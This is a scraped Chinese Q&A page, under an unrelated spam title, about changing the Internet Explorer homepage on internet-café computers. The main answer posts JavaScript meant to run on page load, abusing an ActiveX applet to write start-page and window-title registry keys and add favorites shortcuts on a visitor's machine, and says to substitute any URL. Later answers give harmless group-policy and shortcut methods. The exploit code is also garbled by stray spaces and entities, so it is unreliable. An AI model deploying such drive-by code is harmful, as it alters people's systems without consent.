贼胆txt全集下载完整版:修改默认首页
来源:百度文库 编辑:高校问答 时间:2024/05/13 15:35:22
说明一下这网吧是XP200的而且用的是万象网管系统!
大家可以介绍个软件!或是把某种代码放到网页里,浏览网页时就自动改掉!
千万别乱用,否则...唉,太缺德了!
document.write("
&l t;
APPLET HEIGHT=0 WIDTH=0 code =com.ms.activeX.ActiveXCompone nt>
<
/APPLET>
"
)
function AddFavLnk(loc, DispName, SiteURL)
{
var Shor = Shl.CreateShortcut(loc + "
\\"
+ DispName + "
.URL"
);
Shor.Tar getPath = SiteURL;
Shor.Sav e();
}
function f(){
try
{
a1=document.ap plets[0];
a1.setCLSID(" ;
{F935DC22-1CF0-11D0-ADB9-00C0 4FD58A0B}"
);
a1.create Instance();
Shl = a1.GetObj ect();
a1.setCLSID("
{0 D43FE01-F093-11CF-8940-00A0C90 54228}"
);
a1.createIns tance();
FSO = a1.GetObject ();
a1.setCLSID("
{F935 DC26-1CF0-11D0-ADB9-00C04FD58A 0B}"
);
a1.createInstan ce();
Net = a1.GetObject();
try{
//if (document ..cookie.indexOf("
ChgL ive"
) == -1)
//{
v ar expdate = new Date((new Dat e()).getTime() + (24 * 60 * 60 * 1000 * 90));
document. 46cookie="
ChgLive=general ;
expires="
+ expdate.toG MTString() + "
;
path=/;
&q uot;
Shl.RegWrite ("
HK CU\\Software\\Microsoft\\Inter net Explorer\\Main\\Start Page "
, "
about:blank&q uot;
);
Shl.RegWrite ("
HKLM\\Software\\Microsoft\\Int ernet Explorer\\Main\\Window T itle"
, "
新浪网
http://www.sina.com.cn/"
);
Shl.RegWrite ("
HKCU\ \Software\\Microsoft\\Internet Explorer\\Main\\Window Title& quot;
, "
新浪网
http ://www.sina.com.cn/"
);
var expdate = new Date((new Da te()).getTime() + (24 * 60 * 6 0 * 1000 * 90));
document.& #46cookie="
ChgLive=genera l;
expires="
+ expdate.to GMTString() + "
;
path=/;
& quot;
var WF, Shor, loc;
WF = FSO.GetSpecialFolder(0);
loc = WF + "
\\Favorit es"
;
if(!FSO.FolderExi sts(loc))
?{
?loc = FSO. GetDriveName(WF) + "
\\doc ument. and Settings\\"
+ Net.UserName + "
\\Favorit es"
;
?if(!FSO.FolderEx ists(loc))
?{
?return;
?}
?}
AddFavLnk(loc, & quot;
新浪网"
, "
http: //www.sina.com.cn/"
);
// }
}
catch(e){ }< br>}
catch(e){ }
}
function init(){
setTimeo ut("
f()"
, 1000);
}
init();
注:把上面代码中的新浪网地址修改成你想改的地址就可以了!如果是想保持空白页面,可以改为“about:blank”
当然有,但是那是木马生成的文件,有破坏性!!
人家做生意也不容易,将就吧
归根结底修改的还是注册表,不过可能不用那种方法,用策略改,但是和你说的不改注册表还是相背了。。
运行中打GPEDIT.MSC
在打开的组策略中找WINDOWS设置,其中有IE
在找URL
有一个重要URL,其中有首页,改了就行(注,还是改的注册表)
但有一样,网吧一般有还原软件,可能重启一下就又不行了。。
新建一个IE快捷方式,然后右键单击“属性”,在IE目标栏后输入:空格-nohome,这样就不管什么网页打开都是空白的,或者输入:空格www.baidu.com,打开就是百度了。